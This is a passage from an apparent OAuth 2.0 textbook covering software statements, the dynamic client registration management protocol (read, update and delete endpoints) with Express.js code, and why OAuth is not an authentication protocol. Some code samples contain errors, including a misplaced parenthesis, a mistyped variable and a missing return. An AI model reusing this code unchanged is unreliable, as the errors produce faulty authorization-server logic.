2lhbCBPQXV0aCBDbGllbnQiLCJjbGllbnRfdXJpIjoiaHR0cHM6Ly9leGFtcGxlLm9yZy8iLCJsb2 
dvX3VyaSI6Imh0dHBzOi8vZXhhbXBsZS5vcmcvbG9nby5wbmciLCJ0b3NfdXJpIjoiaHR0cHM6Ly9 
leGFtcGxlLm9yZy90ZXJtcy1vZi1zZXJ2aWNlLyJ9.X4k7X-JLnOM9rZdVugYgHJBBnq3s9RsugxZ 
QHMfrjCo

The payload of this JWT decodes into a JSON object much like one that would be sent 
in a registration request. 

{

  "software_id": "84012-39134-3912",

  "software_version": "1.2.5-dolphin",

  "client_name": "Special OAuth Client",

  "client_uri": "https://example.org/",

  "logo_uri": "https://example.org/logo.png",

  "tos_uri": "https://example.org/terms-of-service/"

}

The registration request sent by the client can contain additional fields not found 
in the software statement. In this example, client software can be installed on differ-
ent hosts, necessitating different redirect URIs, and be configured to access different 
scopes. A registration request for this client would include its software statement as an 
additional parameter.

POST /register HTTP/1.1

Host: localhost:9001

Content-Type: application/json

Accept: application/json

{

  "redirect_uris": ["http://localhost:9000/callback"],

  "scope": "foo bar baz",

  "software_statement": " eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzb2Z0d2FyZV 

9pZCI6Ijg0MDEyLTM5MTM0LTM5MTIiLCJzb2Z0d2FyZV92ZXJzaW9uIjoiMS4yLjUtZG9scGhp 

biIsImNsaWVudF9uYW1lIjoiU3BlY2lhbCBPQXV0aCBDbGllbnQiLCJjbGllbnRfdXJpIjoiaH 

R0cHM6Ly9leGFtcGxlLm9yZy8iLCJsb2dvX3VyaSI6Imh0dHBzOi8vZXhhbXBsZS5vcmcvbG9n 

by5wbmciLCJ0b3NfdXJpIjoiaHR0cHM6Ly9leGFtcGxlLm9yZy90ZXJtcy1vZi1zZXJ2aWNlLy 

J9.X4k7X-JLnOM9rZdVugYgHJBBnq3s9RsugxZQHMfrjCo"

}

The authorization server will parse the software statement, validate its signature, 
and determine that it has been issued by an authority it trusts. If so, the claims 
inside the software statement will supersede those presented in the unsigned JSON 
object.

Software statements allow for a level of trust beyond the self-asserted values usually 
found in OAuth. They also allow a network of authorization servers to trust a central 
authority (or several) to issue software statements for different clients. Furthermore, 
multiple instances of a client can be logically grouped together at the authorization 
server by the information in the software statement that they all present. Although 
each instance would still get its own client ID and client secret, a server administrator 
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could have an option to disable or revoke all copies of a given piece of software at once 
in the case of malicious behavior on the part of any instance.

Implementation of software statements is left as an exercise to the reader. 

12.4	 Managing dynamically registered clients
A client’s metadata doesn’t always remain static over time. Clients could change their 
display names, add or remove redirect URIs, require a new scope for new functionality, 
or make any number of other changes over the lifetime of the client. The client might 
want to read its own configuration, too. If the authorization server rotates a client’s 
secret after some amount of time or a triggering event, the client will need to know the 
new secret. Finally, if a client knows that it’s not going to be used again, such as when 
it’s getting uninstalled by the user, it can tell the authorization server to get rid of its 
client ID and associated data. 

12.4.1	How the management protocol works

For all of these use cases, the OAuth Dynamic Client Registration Management proto-
col3 defines a RESTful protocol extension to OAuth Dynamic Client Registration. The 
management protocol extends the core registration protocol’s “create” method with 
associated “read,” “update,” and “delete” methods, allowing for full lifecycle manage-
ment of dynamically registered clients. 

To accomplish this, the management protocol extends the response from the reg-
istration endpoint with two additional fields. First, the server sends the client a client 
configuration endpoint URI in the registration_client_uri field. This URI pro-
vides all of the management functionality for this specific client. The client uses this 
URI directly as it’s given, with no additional parameters or transformations required. 
It’s often unique for each client registered at an authorization server, but it’s entirely 
up to the authorization server to decide how the URI itself is structured. Second, the 
server also sends a specialized access token, called a registration access token, in the 
registration_access_token field. This is an OAuth bearer token that the client can 
use to access the client configuration endpoint, and nowhere else. As with all other 
OAuth tokens, it’s entirely up to the authorization server what the format of this token 
is, and the client uses it as given.

Let’s take a look at a concrete example. First, the client sends the same registration 
request to the registration endpoint that was made in the example in section 12.1.3. 
The server responds in the same way, except that the JSON object is extended as we 
discussed. Our authorization server creates the client configuration endpoint URI by 
concatenating the client ID to the registration endpoint, in keeping with common 
RESTful design principles, but the authorization server is free to format this URL 
however it pleases. The registration access token in our server is another randomized 
string like other tokens we generate.

3  RFC 7592 https://tools.ietf.org/html/rfc7592
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HTTP/1.1 201 Created

Content-Type: application/json

{

  "client_id": "1234-wejeg-0392",

  "client_secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6t5r",

  "client_id_issued_at": 2893256800,

  "client_secret_expires_at": 0,

  "token_endpoint_auth_method": "client_secret_basic",

  "client_name": "OAuth Client",

  "redirect_uris": ["http://localhost:9000/callback"],

  "client_uri": "http://localhost:9000/",

  "grant_types": ["authorization_code"],

  "response_types": ["code"],

  "scope": "foo bar baz",

  "registration_client_uri": "http://localhost:9001/register/1234-wejeg-0392"
  "registration_access_token": "ogh238fj2f0zFaj38dA"
}

The remainder of the registration response is the same as it was earlier. If the client 
wants to read its registration information, it sends an HTTP GET request to the cli-
ent configuration endpoint, using the registration access token in the authorization 
header.

GET /register/1234-wejeg-0392 HTTP/1.1

Accept: application/json

Authorization: Bearer ogh238fj2f0zFaj38dA

The authorization server checks to make sure that the client referred to in the con-
figuration endpoint URI is the same one that the registration access token was issued 
to. As long as everything is valid, the server responds similarly to a normal registra-
tion request. The body is still a JSON object describing the registered client, but the 
response code is now an HTTP 200 OK message instead. The authorization server is 
free to update any of the client’s fields, including the client secret and registration 
access token, but the client ID doesn’t change. In this example, the server has rotated 
the client’s secret for a new one, but all other values remain the same. Note that the 
response includes the client configuration endpoint URI as well as the registration 
access token.

HTTP/1.1 200 OK

Content-Type: application/json

{

  "client_id": "1234-wejeg-0392",

  "client_secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6",
  "client_id_issued_at": 2893256800,

  "client_secret_expires_at": 0,

  "token_endpoint_auth_method": "client_secret_basic",

  "client_name": "OAuth Client",

  "redirect_uris": ["http://localhost:9000/callback"],

  "client_uri": "http://localhost:9000/",

  "grant_types": ["authorization_code"],

  "response_types": ["code"],
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  "scope": "foo bar baz",

  "registration_client_uri": "http://localhost:9001/register/1234-wejeg-0392"

  "registration_access_token": "ogh238fj2f0zFaj38dA"

}

If the client wants to be able to update its registration, it sends an HTTP PUT request 
to the configuration endpoint, again using the registration access token in the authori-
zation header. The client includes its entire configuration as returned from its registra-
tion request, including its previously issued client ID and client secret. However, just 
as in the initial dynamic registration request, the client cannot choose its own values 
for its client ID or client secret. The client also doesn’t include the following fields (or 
their associated values) in its request:

■■ client_id_issued_at

■■ client_secret_expires_at

■■ registration_client_uri

■■ registration_access_token

All other values in the request object are requests to replace existing values in the cli-
ent’s registration. Fields that are left out of the request are interpreted to be deletions 
of existing values. 

PUT /register/1234-wejeg-0392 HTTP/1.1

Host: localhost:9001

Content-Type: application/json

Accept: application/json

Authorization: Bearer ogh238fj2f0zFaj38dA

{

  "client_id": "1234-wejeg-0392",

  "client_secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6",

  "client_name": "OAuth Client, Revisited",

  "redirect_uris": ["http://localhost:9000/callback"],

  "client_uri": "http://localhost:9000/",

  "grant_types": ["authorization_code"],

  "scope": "foo bar baz"

}

The authorization server once again checks to make sure that the client referred to 
in the configuration endpoint URI is the same one that the registration access token 
was issued to. The authorization server will also check the client secret, if included, to 
make sure that it matches the expected value. The authorization server responds with 
a message identical to the one from a read request, an HTTP 200 OK with the details 
of the registered client in a JSON object in the body. The authorization server is free 
to reject or replace any input from the client as it sees fit, as with the initial registra-
tion request. The authorization server is once again able to change any of the client’s 
metadata information, except for its client ID.

If the client wants to unregister itself from the authorization server, it sends an 
HTTP DELETE request to the client configuration endpoint with the registration 
access token in the authorization header. 
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DELETE /register/1234-wejeg-0392 HTTP/1.1

Host: localhost:9001

Authorization: Bearer ogh238fj2f0zFaj38dA

The authorization server yet again checks to make sure that the client referred to in 
the configuration endpoint URI is the same one that the registration access token was 
issued to. If they match, and if the server is able to delete the client, it responds with an 
empty HTTP 204 No Content message.

HTTP/1.1 204 No Content

From there, the client needs to discard its registration information including its client 
ID, client secret, and registration access token. The authorization server should also, 
if possible, delete all access and refresh tokens associated with the now-deleted client.

12.4.2	 Implementing the dynamic client registration management API

Now that we know what’s expected for each action, we’re going to implement the 
management API in our authorization server. Open up ch-12-ex-2 and edit the 
authorizationServer.js file for this exercise. We’ve provided an implementa-
tion of the core dynamic client registration protocol already, so we’ll be focusing 
on the new functionality needed to support the management protocol. Remember, 
if you want, you can view all registered clients by visiting the authorization server’s 
homepage at http://localhost:9001/ where it will print out all client informa-
tion for all registered clients (figure 12.3).

In the registration handler function, the first thing you may notice is that we’ve 
abstracted out the client metadata checks from the exercise in section 12.1 into a utility 
function. This was done so that we could reuse the same checks in several functions. 
If the requested metadata passes all checks, it’s returned. If any of the checks fails, 
the utility function sends the appropriate error response over the HTTP channel and 
returns null, leaving the calling function to return immediately with no further han-
dling required. In the registration function, when we call this check, we now do this:

var reg = checkClientMetadata(req);

if (!reg) {

	 return;

}

First, we’ll need to augment the client information that’s returned from the registra-
tion endpoint. Right after we generate the client ID and secret, but before we render 
the output in the response, we need to create a registration access token and attach 
it to the client object to be checked later. We’ll also need to generate and return the 
client configuration endpoint URI, which in our server will be made by appending the 
client ID to the registration endpoint’s URI. 

reg.client_id = randomstring.generate();

if (__.contains(['client_secret_basic', 'client_secret_post']),  

reg.token_endpoint_auth_method) {

	 reg.client_secret = randomstring.generate();

}
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reg.client_id_created_at = Math.floor(Date.now() / 1000);

reg.client_secret_expires_at = 0;

reg.registration_access_token = randomString.generate();
reg.registration_client_uri = 'http://localhost:9001/register/' + reg.client_id;

clients.push(reg);

	

res.status(201).json(reg);

return;

Now both the stored client information and the returned JSON object contain the 
access token and the client registration URI. Next, because we’re going to need to 
check the registration access token against every request to the management API, 

Figure 12.3  The authorization server showing several registered clients

Licensed to Hans Otten <hans.otten@autodata.net>



230	 Chapter 12  Dynamic client registration

we’re going to create a filter function to handle that common code. Remember that 
this filter function takes in a third parameter, next, which is the function to call after 
the filter has run successfully.

var authorizeConfigurationEndpointRequest = function(req, res, next) {

};

First, we’ll take the client ID off the incoming request URL and try to look up the cli-
ent. If we can’t find it, return an error and bail.

var clientId = req.params.clientId;

var client = getClient(clientId);

if (!client) {

	 res.status(404).end();

	 return;

}

Next, parse the registration access token from the request. Although we’re free to 
use any valid methods for bearer token presentation here, we’re going to limit things 
to the authorization header for simplicity. As we do in the protected resource, check 
the authorization header and look for the bearer token. If we don’t find it, return 
an error.

var auth = req.headers['authorization'];

if (auth && auth.toLowerCase().indexOf('bearer') == 0) { 

	 var regToken = auth.slice('bearer '.length);

} else {

	 res.status(401).end();

	 return;

}

Finally, if we do get an access token, we need to make sure it’s the right token for this 
registered client. If it matches, we can continue to the next function in the handler 
chain. Since we’ve already looked up the client, we attach it to the request so we don’t 
have to look it up again. If the token doesn’t match, we return an error.

if (regToken == client.registration_access_token) {

	 req.client = client;

	 next();

	 return;

} else {

	 res.status(403).end();

	 return;

}

Now we can start to tackle the functionality. First, we’ll set up handlers for all three 
functions, making sure to add the filter function to the handler setup. Each of these 
sets up the special :clientId path element, which is parsed by the Express.js frame-
work and handed to us in the req.params.clientId variable, as used in the previous 
filter function.

app.get('/register/:clientId', authorizeConfigurationEndpointRequest, 

function(req, res) {

	

});

we found a 
registration access 
token on the 
request, need to 
process it below
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app.put('/register/:clientId', authorizeConfigurationEndpointRequest, 

function(req, res) {

	

});

app.delete('/register/:clientId', authorizeConfigurationEndpointRequest, 

function(req, res) {

	

});

Let’s start with the read function first. Since the filter function has already validated 
the registration access token and loaded the client for us, all we have to do is return 
the client as a JSON object. If we wanted to, we could update the client secret and 
registration access token before returning the client’s information, but that’s left as an 
exercise for the reader.

app.get('/register/:clientId', authorizeConfigurationEndpointRequest, 

function(req, res) {

	 res.status(200).json(req.client);

	 return;

});

Next we’ll handle the update function. First check to make sure the client ID and cli-
ent secret (if supplied) match what’s already stored in the client.

if (req.body.client_id != req.client.client_id) {

	 res.status(400).json({error: 'invalid_client_metadata'});

	 return;

}

	

if (req.body.client_secret && req.body.client_secret !=  

req.client.client_secret) {

	 res.status(400).json({error: 'invalid_client_metadata'});

}

Then we need to validate the rest of the incoming client metadata. We’re going  
to use the same client metadata validation function as in the registration step. This 
function will filter out any input fields that aren’t supposed to be there, such as 
registration_client_uri and registration_access_token.

var reg = checkClientMetadata(req, res);

if (!reg) {

	 return;

}

Finally, copy over the values from the requested object into our saved client and return 
it. Since we’re using a simple in-memory storage mechanism, we don’t have to copy the 
client back into the data store, but a database-backed system may have such require-
ments. The values in reg are internally consistent and will directly replace anything in 
client, and if they’re omitted they will overwrite the values in client.

__.each(reg, function(value, key, list) {

	 req.client[key] = reg[key];

});
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Once that copy is completed, we can return the client object in the same manner as in 
the read function.

res.status(200).json(req.client);

return;

For the delete function, we have to remove the client from our data storage. We’re going 
to do this using a couple of library functions from the Underscore.js library to help us out.

clients = __.reject(clients, __.matches({client_id: req.client.client_id}));

We’re also going to do our due diligence as an authorization server and immediately 
revoke all outstanding tokens, whether they’re access tokens or refresh tokens, that 
were issued to this client before we return.

nosql.remove(function(token) {

	 if (token.client_id == req.client.client_id) {

		  return true;	

	 }

}, function(err, count) {

	 console.log("Removed %s clients", count);

});

	

res.status(204).end();

return;

With these small additions, the authorization server now supports the full dynamic 
client registration management protocol, giving dynamic clients the ability to manage 
their full lifecycle.

Now we’re going to modify our client to call these functions, so edit client.js. 
Loading up the client and fetching a token displays an extra set of controls on the cli-
ent’s homepage (figure 12.4).

Figure 12.4  The client homepage showing a dynamically registered client ID and controls to manage 
the registration
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Let’s wire up some functionality to those shiny new buttons. First, to read the client 
data, we’re going to make a simple GET call to the client’s configuration management 
endpoint and authenticate using the registration access token. We’ll save the results of 
the call as our new client object, in case something changed, and display them using 
our protected resource viewer template to show the raw content coming back from the 
server.

app.get('/read_client', function(req, res) {

	 var headers = {

		  'Accept': 'application/json',

		  'Authorization': 'Bearer ' + client.registration_access_token

	 };

	

	 var regRes = request('GET', client.registration_client_uri, {
		  headers: headers
	 });
	

	 if (regRes.statusCode == 200) {

		  client = JSON.parse(regRes.getBody());

		  res.render('data', {resource: clien});

		  return;

	 } else {

		  res.render('error', {error: 'Unable to read client ' +  

regRes.statusCode});

		  return;

	 }

	

});

Next we’ll handle the form that allows us to update the client’s display name. We need 
to make a clone of the client object and delete out the extraneous registration fields, 
as discussed previously, and replace the name. We’ll send this new object to the client 
configuration endpoint in an HTTP PUT along with the registration access token. 
When we get a positive response from the server, we’ll save that result as our new client 
object and go back to the index page.

app.post('/update_client', function(req, res) {

	 var headers = {

		  'Content-Type': 'application/json',

		  'Accept': 'application/json',

		  'Authorization': 'Bearer ' + client.registration_access_token

	 };

	

	 var reg = __.clone(client);

	 delete reg['client_id_issued_at'];

	 delete reg['client_secret_expires_at'];

	 delete reg['registration_client_uri'];

	 delete reg['registration_access_token'];

	

	 reg.client_name = req.body.client_name;

	

	 var regRes = request('PUT', client.registration_client_uri, {
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		  body: JSON.stringify(reg),
		  headers: headers
	 });
	

	 if (regRes.statusCode == 200) {

		  client = JSON.parse(regRes.getBody());

		  res.render('index', {access_token: access_token, refresh_token: 

refresh_token, scope: scope, client: client});

		  return;

	 } else {

		  res.render('error', {error: 'Unable to update client ' +  

regRes.statusCode});

		  return;

	 }

	

});

Finally, we’ll handle deleting the client. This is a simple DELETE to the client configu-
ration endpoint, once again including the registration access token for authorization. 
Whatever result we get back, we throw away our client information because, from our 
perspective, we did our best to unregister the client, whether the server was able to do 
so or not.

app.get('/unregister_client', function(req, res) {

	 var headers = {

		  'Authorization': 'Bearer ' + client.registration_access_token

	 };

	

	 var regRes = request('DELETE', client.registration_client_uri, {
		  headers: headers
	 });
	

	 client = {};

	 if (regRes.statusCode == 204) {

		  res.render('index', {access_token: access_token, refresh_token: 

refresh_token, scope: scope, client: client});

		  return;

	 } else {

		  res.render('error', {error: 'Unable to delete client ' + regRes.

statusCode});

		  return;

	 }

	

});

With these in place, we’ve got a fully managed, dynamically registered OAuth client. 
Advanced client handling, including editing other fields, rotation of client secrets, and 
registration access tokens, is left as an exercise to the reader.
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12.5	 Summary
Dynamic client registration is a powerful extension to the OAuth protocol ecosystem.

■■ Clients can dynamically introduce themselves to authorization servers, but they 
still need a resource owner’s authorization to access protected resources.

■■ Client IDs and client secrets are best issued by the authorization server that will 
accept them.

■■ Client metadata describes many attributes about the client and it can be included 
in a signed software statement.

■■ The dynamic client registration management protocol provides a full set of life-
cycle management operations for dynamically registered clients over a RESTful 
API.

Now that you know how to introduce clients to authorization servers programmatically, 
let’s take a look at one common application of OAuth: end-user authentication.
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The OAuth 2.0 specification defines a delegation protocol useful for conveying autho-
rization decisions across a network of web-enabled applications and APIs. Because 
OAuth 2.0 is used to gather the consent of an authenticated end user, many devel-
opers and API providers have concluded that OAuth 2.0 is an authentication proto-
col that can be used to log in users securely. However, in spite of it being a security 
protocol that makes use of user interaction, OAuth 2.0 is not an authentication 
protocol. Let’s say that again, to be clear:

OAuth 2.0 is not an authentication protocol.

Much of the confusion comes from the fact that OAuth 2.0 is commonly used inside 
of authentication protocols, and that OAuth 2.0 embeds several authentication 
events inside of a regular OAuth 2.0 process. As a consequence, many developers 
will see the OAuth 2.0 process and assume that by using OAuth, they’re performing 
user authentication. This turns out to be not only untrue but also dangerous for 
service providers, developers, and end users.

This chapter covers
■  ■ The reasons OAuth 2.0 is not an authentication protocol

■  ■ Building an authentication protocol using OAuth 2.0

■  ■ Identifying and avoiding common mistakes when using OAuth 2.0 in authentication 

■  ■ Implementing OpenID Connect on top of OAuth 2.0

13User authentication  
with OAuth 2.0
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13.1	 Why OAuth 2.0 is not an authentication protocol
First we need to answer a fundamental question: What is authentication, anyway? 
Authentication, in this context, is what tells an application who the current user is and 
whether they’re currently using your application. It’s the piece of the security archi-
tecture that tells you the user is who they claim to be, usually by providing a set of 
credentials (such as a username and password) to the application that prove this fact. 
A practical authentication protocol will probably also tell you a number of identity 
attributes about this user, such as a unique identifier, an email address, and a name to 
use when the application says, “Good Morning.”

However, OAuth 2.0 tells the application none of that. OAuth 2.0, on its own, says 
absolutely nothing about the user, nor does it say how the user proved their presence, 
or even if the user is present at all. As far as an OAuth 2.0 client is concerned, it asked 
for a token, it got a token, and it eventually used that token to access some API. It 
doesn’t know anything about who authorized the application or whether there was 
even a user there at all. In fact, many of the major use cases for OAuth 2.0 are about 
obtaining an access token for use when the user isn’t able to interactively authorize the 
application any longer. Thinking back to our printing example, although it’s true that 
the user logged in to both the printing service and the storage service, the user is in 
no way directly involved in the connection between the printing service and the storage 
service. Instead, the OAuth 2.0 access token allowed the printing service to act on the 
user’s behalf. This is a powerful paradigm for delegated client authorization, but it’s 
rather antithetical to authentication, in which the whole point is figuring out whether 
the user is there and who they are.

13.1.1	Authentication vs. authorization: a delicious metaphor

To help clear things up, it may be helpful to think of the difference between authenti-
cation and authorization in terms of a metaphor: fudge and chocolate.1 Although there 
are some superficial similarities, the nature of these two items is clearly different: choc-
olate is an ingredient whereas fudge is a confection. You can make chocolate fudge, 
which is a truly delicious thing in the opinion of your humble authors. This treat is 
clearly defined by its chocolaty character. As such, it’s tempting—but ultimately incor-
rect—to say that chocolate and fudge are equivalent. Let’s unpack that a bit here, and 
see what on earth it has to do with OAuth 2.0.

Chocolate can be used to make many different things in many different forms, but 
it’s always based on cacao. It’s a versatile and useful component that lends its distinct 
flavor to everything from cakes and ice creams to pastry fillings and mole sauce. You 
can even enjoy chocolate completely on its own with no other ingredients, though 
even then it can take a number of different forms. One other popular item that can 

1 � Much thanks to Vittorio Bertocci for this excellent metaphor, from the blog post “OAuth 2.0 and 
Sign-In,” available at http://www.cloudidentity.com/blog/2013/01/02/oauth-2-0-and-sign-in-4/
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be made with chocolate is, of course, chocolate fudge. Here it’s clear to the fudge con-
sumer that the chocolate is the star ingredient of this particular confection.

OAuth 2.0, in this metaphor, is chocolate. It’s a versatile ingredient fundamental to 
a number of different security architectures on the web today. OAuth 2.0’s delegation 
model is distinctive, and it’s always made up of the same roles and actors. OAuth 2.0 
can be used to protect RESTful APIs and web resources. It can be used by clients on 
web servers and native applications. It can be used by end users to delegate limited 
authority and by trusted applications to transmit back-channel data. OAuth 2.0 can 
even be used to make an identity and authentication API, where it’s clear that OAuth 
2.0 is the key enabling technology.

Fudge, conversely, is a confection that can be made out of many different things 
and it takes on their flavor: from peanut butter to coconut, from oranges to potatoes.2 
In spite of the variety of flavors, fudge always has a particular form and texture that 
makes it recognizable as fudge, as opposed to some other flavored confection such as 
mousse or ganache. One popular flavor of fudge is, of course, chocolate fudge. Even 
though it’s clear that chocolate is the star ingredient in this confection, it takes several 
additional ingredients and a few key processes to transform chocolate into chocolate 
fudge. The result is something recognizable as chocolate in flavor but fudge in form, 
and using chocolate to make fudge does not make chocolate equal to fudge.

Authentication in our metaphor is more like fudge. A few key components and pro-
cesses must be brought together in the right way to make it work properly and securely, 
and there is a wide variety of options for those components and processes. Users could 
be required, for example, to carry a device, memorize a secret password, present a 
biometric sample, prove that they can log in to another remote server, or any number 
of other approaches. To do their job, these systems can use public key infrastructure 
(PKI) and certificates, federated trust frameworks, browser cookies, or even propri-
etary hardware and software. OAuth 2.0 can be one of these technology components, 
but of course it doesn’t have to be. Without other factors, OAuth 2.0 isn’t sufficient to 
carry user authentication.

As there are recipes for making chocolate fudge, there are patterns for making 
OAuth-based authentication protocols. A number of these are made for specific pro-
viders, such as Facebook, Twitter, LinkedIn, or GitHub, and there are even open stan-
dards such as OpenID Connect that can work across many different providers. These 
protocols all start with a common base of OAuth and use their own additional compo-
nents to provide authentication capabilities in slightly different ways. 

13.2	 Mapping OAuth to an authentication protocol
How, then, can we build an authentication protocol with OAuth as a base? First, 
we need to map the different OAuth 2.0 parties on to the appropriate parts of an 
authentication transaction. In an OAuth 2.0 transaction, a resource owner authorizes 

2 � No joke, potato fudge is surprisingly good.
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Figure 13.1  Attempting to make an authentication protocol out of OAuth, and failing

a client to access a protected resource using a token from an authorization server. 
In an authentication transaction, an end user logs in to a relying party (RP) using 
an identity provider (IdP). With this in mind, a common approach at designing an 
authentication protocol such as this is to map the relying party on to the protected 
resource (figure 13.1). After all, isn’t the relying party the component protected by the 
authentication protocol?

Although this may seem to be a sensible way to deploy an identity protocol on top of 
OAuth 2.0, we can see in figure 13.1 that the security boundaries don’t line up well. In 
OAuth 2.0, the client and the resource owner are working together—the client is act-
ing on behalf of the resource owner. The authorization server and protected resource 
also work together, as the authorization server generates the tokens accepted by the 
protected resource. In other words, there’s a security and trust boundary between the 
user/client and authorization server/protected resource, and OAuth 2.0 is the pro-
tocol used to cross that boundary. When we try to map things, as in figure 13.1, the 
boundary is now between the IdP and the protected resource. This forces an unnatural 
crossing of this security boundary, where the protected resource is now interacting 
directly with the user. However, in OAuth 2.0, the resource owner never generally 
interacts with the protected resource: it’s an API meant to be called by the client 
application. Remember from the coding exercises in previous chapters, our protected 
resource doesn’t even have a UI to speak of. The client, which does interact with the 
user, is nowhere to be found in this new mapping.

That doesn’t work, and we need to try something else that respects these security 
boundaries. Let’s try to make the RP out of the OAuth 2.0 client, since that’s the 
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component that the end user, our resource owner, is normally interacting with anyway. 
We’ll also combine the authorization server and protected resource into a single com-
ponent, the IdP. We’re going to have the resource owner delegate access to the client, 
but the resource they’re delegating access to is their own identity information. That 
is to say, they’re authorizing the RP to find out who is here right now, which is of course 
the essence of the authentication transaction that we’re trying to build (figure 13.2).

Although it may seem somewhat counterintuitive to build authentication on top 
of authorization, we can see here that leveraging the OAuth 2.0 security delegation 
model gives us a powerful means for connecting systems. Furthermore, notice that 
we can cleanly map all parts of the OAuth 2.0 system into their corresponding com-
ponents in an authorization protocol. If we extend OAuth 2.0 so that the information 
coming from the authorization server and protected resource conveys information 
about the user and their authentication context, we can give the client everything it 
needs to log the user in securely. 

Now we’ve got an authentication protocol made up of our familiar OAuth 2.0 
pieces. Since we’re working in a new protocol space, they get different names. The 
client is now the relying party, or RP, and the two terms can be used interchangeably 
for this protocol. We’ve conceptually combined the authorization server and protected 
resource into the Identity Provider, or IdP. It’s possible that the two aspects of the ser-
vice, issuing tokens and serving user identity information, could be served by separate 
servers, but as far as the RP is concerned, they’re functioning as a single unit. We’re 
also going to add a second token alongside the access token, and we’ll use this new ID 
token to carry information about the authentication event itself (figure 13.3).
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Figure 13.2  Making an authentication protocol out of OAuth, more successfully
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The RP can now find out who the user is and how they logged in, but why are we using 
two tokens here? We could provide information about the user directly in the token 
received from the authorization server, or we could provide a user information API 
that can be called as an OAuth protected resource. As it turns out, there is value in 
doing both, and we’ll look at the way the OpenID Connect protocol does this later in 
this chapter. To accomplish this, we have two tokens used in parallel with each other, 
and we’ll look at some of the details in a bit.

13.3	 How OAuth 2.0 uses authentication
In the previous section, we saw how it’s possible to build an authentication proto-
col on top of an authorization protocol. However, it’s also true an OAuth transaction 
requires several forms of authentication to take place in order for the authorization 
delegation process to function: the resource owner authenticates to the authorization 
server’s authorization endpoint, the client authenticates to the authorization server at 
the token endpoint, and there may be others depending on the setup. We’re building 
authentication on top of authorization, and the authorization protocol itself relies on 
authentication, isn’t that a bit overcomplicated? 

It may seem an odd setup, but notice that this setup can leverage the fact that the 
user is authenticating at the authorization server, but at no point are the end user’s 
original credentials communicated to the client application (our RP) through the 
OAuth 2.0 protocol. By limiting the information that each party needs, the transaction 
can be made much more secure and less prone to failure, and it can function across 
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Identity Profile API Relying Party
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Figure 13.3  Components of an OAuth-based authentication and identity protocol
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security domains. The user authenticates directly to a single party, as does the client, 
and neither needs to impersonate the other.

Another major benefit of building authentication on top of authorization in this 
way is that it allows for end-user consent at runtime. By allowing the end user to 
decide which applications they release their identity to, an OAuth 2.0–based identity 
protocol can scale across security domains to the internet at large. Instead of organi-
zations needing to decide ahead of time whether all of their users are allowed to log 
in at another system, each individual user can decide to log in where they choose. 
This fits the Trust On First Use (TOFU) model of OAuth 2.0 that we first saw in 
chapter 2.

Additionally, the user can delegate access to other protected APIs alongside their 
identity. With one call, an application can find out whether a user is logged in, what 
the application should call the user, download photos for printing, and post updates to 
the user’s message stream. If a service is already offering an OAuth 2.0–protected API, 
it’s not much of a stretch to start offering authentication services as well. This ability 
to add on services including identity has proved useful in the API-driven world of the 
web today.

All of this fits nicely within the OAuth 2.0 access model, and this simplicity is com-
pelling. However, by accessing both identity and authorization at the same time, many 
developers conflate the two functions. Let’s take a look at a few common mistakes that 
this setup can lead to.

13.4	 Common pitfalls of using OAuth 2.0 for authentication
We’ve demonstrated that it’s possible to build an authentication protocol on top of 
OAuth, yet there are a number of things that tend to trip up those who do so. These 
mistakes can happen either on the side of the identity provider or on the side of the 
identity consumer, and most come from misunderstandings of what different parts of 
the protocol say.

13.4.1	Access tokens as proof of authentication

Since the resource owner usually needs to authenticate at the authorization end-
point prior to an access token being issued, it’s tempting to consider reception of 
an access token as proof of that authentication. However, the token itself conveys 
no information about the authentication event, or whether an authentication event 
even occurred during this transaction. After all, the token could have been issued 
from a long-running (and potentially hijacked) session, or it could have been auto-
matically authorized for some non-personal scope. The token could have been 
issued directly to the client using an OAuth 2.0 grant type that doesn’t require user 
interaction such as the client credentials, assertion, or refresh token call. Addition-
ally, if the client isn’t careful about where it accepts tokens from, the token could 
have been issued to a different client and injected (see section 13.4.3 for details on 
this situation).
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In any event, no matter how it got the token, the client can’t tell anything about the 
user or their authentication status from the access token. This stems from the fact that 
the client is not the intended audience of the OAuth 2.0 access token. In OAuth 2.0, 
the access token is designed to be opaque to the client, but the client needs to be able 
to derive some user information from the token. Instead, the client is the presenter of 
the access token, and the audience is the protected resource. 

Now, we could define a token format that the client could parse and understand. 
This token would carry information about the user and authentication context that 
the client could read and validate. However, general OAuth 2.0 doesn’t define a 
specific format or structure for the access token, and many existing deployments 
of OAuth have their own token formats. Furthermore, the life of the access token 
is likely to outlive the authentication event that would be represented in this token 
structure. Since the token is passed to protected resources, some of which have 
nothing to do with identity, it would also be potentially problematic for these pro-
tected resources to learn sensitive information about the user’s login event. To 
overcome these limitations, protocols such as OpenID Connect’s ID token and 
Facebook Connect’s Signed Response provide a secondary token alongside the 
access token that communicates the authentication information directly to the cli-
ent. This allows the primary access token to remain opaque to the client, as in 
regular OAuth, whereas the secondary authentication token can be well-defined 
and parsed.

13.4.2	Access of a protected API as proof of authentication

Even if the client can’t understand the token, it can always present the token to a pro-
tected resource that can. What if we define a protected resource that tells the client 
who issued the token? Since the access token can be traded for a set of user attributes, 
it’s tempting to think that possession of a valid access token is enough to prove that a 
user is authenticated. 

This line of thinking turns out to be true in some cases, but only when the access 
token was freshly minted in the context of a user being authenticated at the authori-
zation server. Remember, though, this isn’t the only way to obtain an access token in 
OAuth. Refresh tokens and assertions can be used to obtain access tokens without the 
user being present, and in some cases access grants can occur without the user having 
to authenticate at all.

Furthermore, the access token will generally be usable long after the user is no 
longer present. The protected resource isn’t generally going to be in a position to tell 
from the token alone whether the user is present, since by the nature of the OAuth 
2.0 protocol the user won’t be present on the connection between the client and pro-
tected resource. In many larger OAuth 2.0 ecosystems, the user has no means of ever 
authenticating to the protected resource. Although the protected resource can prob-
ably tell which user originally authorized the token, it will generally be hard pressed to 
say anything about that user’s current state. 
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This becomes especially problematic when there is a large gap of time between the 
authorization event and the use of the token at the protected resource. OAuth 2.0 can 
work well when the user is no longer present at either the client or the authorization 
server, but because the entire point of an authentication protocol is to know whether 
the user is present, the client can’t rely on the presence of a functioning access token 
to determine whether the user’s there. The client can counter this problem by only 
checking for user information when it knows the token is relatively fresh, and by not 
assuming a user is present just because the user API can be accessed by a given access 
token. We could also counter this by having an artifact directed to the client directly 
that it knows to accept only directly from the IdP, such as the ID token and signed 
request discussed in the previous section. These tokens have a separate lifecycle from 
